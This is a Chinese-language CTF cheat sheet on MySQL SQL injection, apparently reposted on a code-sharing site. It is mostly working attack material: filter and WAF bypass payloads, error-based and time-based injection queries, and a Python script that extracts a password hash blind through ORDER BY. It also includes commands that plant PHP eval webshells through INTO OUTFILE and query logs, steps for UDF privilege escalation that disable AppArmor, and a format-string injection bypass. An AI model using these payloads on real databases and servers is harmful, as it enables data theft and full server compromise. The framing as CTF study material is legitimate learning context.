CTF考點總結-sql注入


整理下sql相關知識,查漏補缺(長期更新)

常用語句及知識

information_schema包含了大量有用的信息,例如下圖

mysql.user下有所有的用戶信息,其中authentication_string為用戶密碼的hash,如果可以使用可以修改這個值,那么就可以修改任意用戶的密碼

 當前用戶:select user() 
數據庫版本:select version() , select @@version 
數據庫名:select database()
操作系統:select @@version_compile_os
所有變量:show variables
單個變量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段數:order by 1... ,group by 1...
查庫名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='庫名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
讀取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行為0)
讀文件:select load_file('/etc/passwd')
寫文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'  //該處文件名無法使用16進制繞過

常用函數

截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
多行拼接:group_concat //eg: select group_concat(user) from mysql.user
時延函數:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡爾,rlike等
編碼函數: hex、ord、ascii、char、conv(255,10,16)=FF(2-36進制轉換)
布爾條件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

所有函數及運算符:https://dev.mysql.com/doc/refman/8.0/en/func-op-summary-ref.html

繞過方法

繞過空格

%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php環境,%0a為\n

/!select/為mysql獨有。常見用法為/!50727select 1/,即當版本號小於等於50727時,執行select 1

繞過單引號

\轉義、寬字節%df%27,%bf%27、十六進制繞過

注釋方法

/**/、--+、#、;%00、union /*!select*/(mysql獨有)

select from union select繞過

select-1,user from mysql.user
select@1,user from mysql.user
select~1,user from mysql.user
select`user`,user from mysql.user
select(1),user from mysql.user
select'1',user from mysql.user
select+1,user from mysql.user

select 1,1e2from mysql.user
select 1,.9from mysql.user
select 1``from mysql.user
select 1''from mysql.user
select 1'123'from mysql.user
select '1'''from mysql.user
select 1""from mysql.user
select "1"""from mysql.user

select 1 from mysql.user where user=.1union select 1
select 1 from mysql.user where user=1e1union select 1
select 1 union--%0aselect 2
select 1 union--%0e%0aselect 2
select 1 union all select 2

set繞過

select '123' into @a
select @a:='123'
select 1 from mysql.user where @a:='123'
do @a:='123'

.繞過(點繞過)//select,from等關鍵字繞過都可以使用

select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'
set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a; 

information_schema繞過:

select table_name from mysql.innodb_index_stats 表名 
select database_name from mysql.innodb_index_stats 庫名 
select table_name from mysql.innodb_table_stats 表名 
select database_name from mysql.innodb_table_stats 庫名

聊一聊bypass information_schema,https://www.anquanke.com/post/id/193512

逗號繞過

select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf) 
select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)

奇技淫巧

按注入方法分類

數值型注入、字符型注入、二次注入、寬字節注入、堆疊注入...

按語句分類

select注入、update注入、insert注入、order注入、desc注入...

按注入效果分類

回顯注入、布爾注入、時間注入、報錯注入...

無字段名,同表注入

(1)別名,子查詢

select t.2 from (select 1,2,3 union SELECT * from ctf.user)t LIMIT 1,1

(2)堆疊

select * from ctf.user limit 0,1 into @a,@b,@c;select @a,@b,@c

order by排序注入

首先假設有這樣一張表

有以下代碼

<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ctf";
$conn = new mysqli($servername, $username, $password, $dbname);

function check($s){
         if(preg_match("/\)|\(|_|\.|\|/i",$s))  #()_.|
       {    
             die('hack!'); 
       }
   }
$username=$_GET['username'];
check($username);

$sql = "select * from user where username='$username'";
$result = $conn->query($sql);
 
if ($result->num_rows > 0) {
    if($row = $result->fetch_assoc()) {
        echo "username: " . $row["username"]."<br>";
    }
}
$conn->close();
?>

因為()_.|被過濾,所以我們無法從information_schema和函數獲取信息。

現在我們要獲取admin的flag的hash,但是我們不知道字段名,且沒有.不能使用別名或子查詢的方式獲取,可以使用這樣的方法。

下面正式開始

首先我們知道order by 可以排序,所以利用這一點可以進行字符串比較,如下就是order by 對admin進行呢比較我們現在就已經確定前兩個字母為ad了

同理

 

現在我們知道admin的flag第一個字符為7了,繼續

現在我們知道,前兩個字符為79了 //9的ascii為57而:的ascii為58,所以:比9大

以此我們可以寫出以下腳本

import requests

url= 'http://127.0.0.1/mysql.php'
flag=''
for i in range(50):
    for j in range(48,128):
        payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))
        r=requests.get(url+payload).text
        print j
        if 'admin' in r:
            flag+=chr(j-1)
            print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1
            break

order by,desc,asc注入

正常的order語句,因為查詢兩列,所以order by 1,3報錯

但是這樣就不報錯了,甚至不會大整數溢出,但是會產生延時

因為延時注入,會對每一行都執行一次,結果就會變得很慢,所以也可以采用其他的方法。

方法:使用like,regexp等來進行報錯注入

payload

select user,host from mysql.user order by 1,(1 regexp if((1=0),1,0x00));
select user,host from mysql.user order by 1,(1 like if((1=0),1,(select 1+~0)));

desc注入

用法:desc mysql.user 等同於show columns from mysql.user

 

 怎么利用呢?

漏洞代碼:

攻擊方法:

payload:  ?table=note`#` where (select database()='d')#` 

$sql1 => desc `cms_note`#` where (select database()='d')#` 

$sql2 => select * from cms_note`#` where (select database()='d')#` where id = 

floor報錯注入

原理:

rand(),隨機一個0-1的數

rand(0)即為rand函數設定種子為0,所以它的值是固定的

在表中表現為這樣

floor()為向下取整,所以floor(rand(0)*2)即

count:https://dev.mysql.com/doc/refman/8.0/en/counting-rows.html

count為統計行數,當count與group by 一起使用時會新建一個虛擬表,遍歷查詢結果,將重復數據進行計數,如果結果不存在於虛擬表內,則添加進虛擬表,count數+1。如圖所示

一共652行

使用group by后,會統計每個字段出現的次數

所以 select count() from mysql.user group by floor(rand(0)2) 就是這樣一個流程

floor(rand(0)*2):0 1 1 0 1 1 0 0 1 1 1 ...

首先產生一個空的虛擬表

查詢第一行,第一次執行floor(rand(0)2)結果為0,此時虛擬表為空,所以直接插入,插入時會再次執行floor(rand(0)2),該次為第二次所以實際插入key值為1,count為1

查詢第二行,第三次執行floor(rand(0)*2)結果為1,虛擬表中已存在1,所以key值1的count+1,

查詢第三行,第四次執行floor(rand(0)2)結果為0,虛擬表中不存在0,所以插入,插入時第五次執行floor(rand(0)2),該次結果為1,所以插入的key為1,但是key已經存在,所以報錯Duplicate entry '1' for key '<group_key>'

 

所以該報錯方式的關鍵為count、group by、rand。floor只是起到一個輔助作用

payload:

select count(*),concat(user(),floor(rand(0)*2))x from mysql.user group by x

select count(*) from mysql.user group by concat(user(),floor(rand(0)*2))

select count(*),concat(user(),floor(rand(0)*2)) from mysql.user group by 2

xpath報錯注入

原理比較簡單

updatexml (XML_document, XPath_string, new_value);
extractvalue(XML_document, XPath_string)

因為我們輸入的第二個參數不符合xpath格式自然報錯,xpath_string最大長度為32位,所以報錯長度也為32位

(1)extractvalue():

select extractvalue(1,concat(0x7e,(select user()),0x7e));

(2)updatexml():

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

大整數溢出

select 1+~0
select 2*~0
select pow(2,1024)

name_const列名重復報錯

select * from (select name_const(version(),1),name_const(version(),1))x //只能使用常量和普通字符串

jion列名重復報錯

select * from(select a.1 from mysql.user a join mysql.user b)c

rlike,regexp正則匹配報錯:

rlike,regexp

select 1 regexp 0x00
select 1 regexp ''
select 1 rlike 0x00

其他報錯注入

以下均摘自《代碼審計:企業級Web代碼安全架構》一書

mysql低版本以下可用的報錯

select geometrycollection((select * from(select * from(select user())a)b)); 
select multipoint((select * from(select * from(select user())a)b)); 
select polygon((select * from(select * from(select user())a)b)); 
select multipolygon((select * from(select * from(select user())a)b)); 
select linestring((select * from(select * from(select user())a)b)); 
select multilinestring((select * from(select * from(select user())a)b)); 
select exp(~(select * from(select user())a));

寫webshell

(1) 直接寫

查看可寫目錄范圍,默認為空即不可寫不可讀

select @@secure_file_priv

寫入

select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php'

(2) 日志寫webshell

MySQL日志文件系統的組成:
錯誤日志log_error:記錄啟動、運行或停止mysqld時出現的問題。
通用日志general_log:記錄建立的客戶端連接和執行的語句。
更新日志:記錄更改數據的語句。該日志在MySQL 5.1中已不再使用。
二進制日志:記錄所有更改數據的語句。還用於復制。
慢查詢日志slow_query_log:記錄所有執行時間超過long_query_time秒(默認10秒)的所有查詢或不使用索引的查詢。
Innodb日志:innodb redolog

以下舉例兩種

show global variables like "%general%";                 #查看general文件配置情況
set global general_log='on';                            #開啟日志記錄
set global general_log_file='C:/phpstudy/WWW/shell.php';
select '<?php @eval($_POST[shell]); ?>';                #日志文件導出指定目錄
set global general_log=off;                             #關閉記錄
show variables like '%slow%';                           #慢查詢日志

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;

/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/

select '<?php phpinfo();?>' from mysql.user where sleep(10);

udf提權

大致流程如下,將udf文件windows為dll文件 ,linux為so文件導入服務器mysql插件目錄即可。

可以自己寫一些udf文件來編譯。

推薦sqlmap提供的udf文件

https://github.com/sqlmapproject/sqlmap/tree/master/data/udf

因為udf文件較大,詳細點擊這里

https://files.cnblogs.com/files/kagari/udf.js

高版本中mysql無法向/usr目錄寫文件,可以導入到/tmp,之后mv到/usr/lib/mysql/plugin下

導入成功之后,如果執行命令為空,則今兒參考https://www.cyberciti.biz/faq/ubuntu-linux-howto-disable-apparmor-commands/

執行
ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
service mysql restart

mysql任意文件讀漏洞

原理:

  1. 當服務端執行load data local infile時,會從客戶端會讀取對應的文件。 //load data infile則是從服務端本身讀取

  2. mysql客戶端連接服務端時,服務端可以讓客戶端執行sql語句,

所以偽造一個服務端,讓客戶端連接並執行load data local infile即可任意文件讀。

這里推薦下 ev0A大佬的工具:https://github.com/ev0A/Mysqlist

例子: phpmyadmin開啟遠程登陸后就會出現該漏洞

格式化字符串漏洞與sql注入

sprintf

//?user=%1$\&pass=%20or%201=1%23
<?php
$user=addslashes($_GET['user']);
$pass=addslashes($_GET['pass']);
$sql = "select * from user where username = '$user' and password='%s';";
echo sprintf( $sql, $pass) ;
//select * from user where username = '\' and password=' or 1=1#';
?>

https://www.cnblogs.com/test404/p/7821884.html

參考文章:

https://p0sec.net/index.php/archives/117/

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

https://www.cnblogs.com/sfriend/p/11365999.html

https://www.cnblogs.com/csyxf/p/10241456.html

https://www.cnblogs.com/wintrysec/p/10875242.html

https://paper.seebug.org/218/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM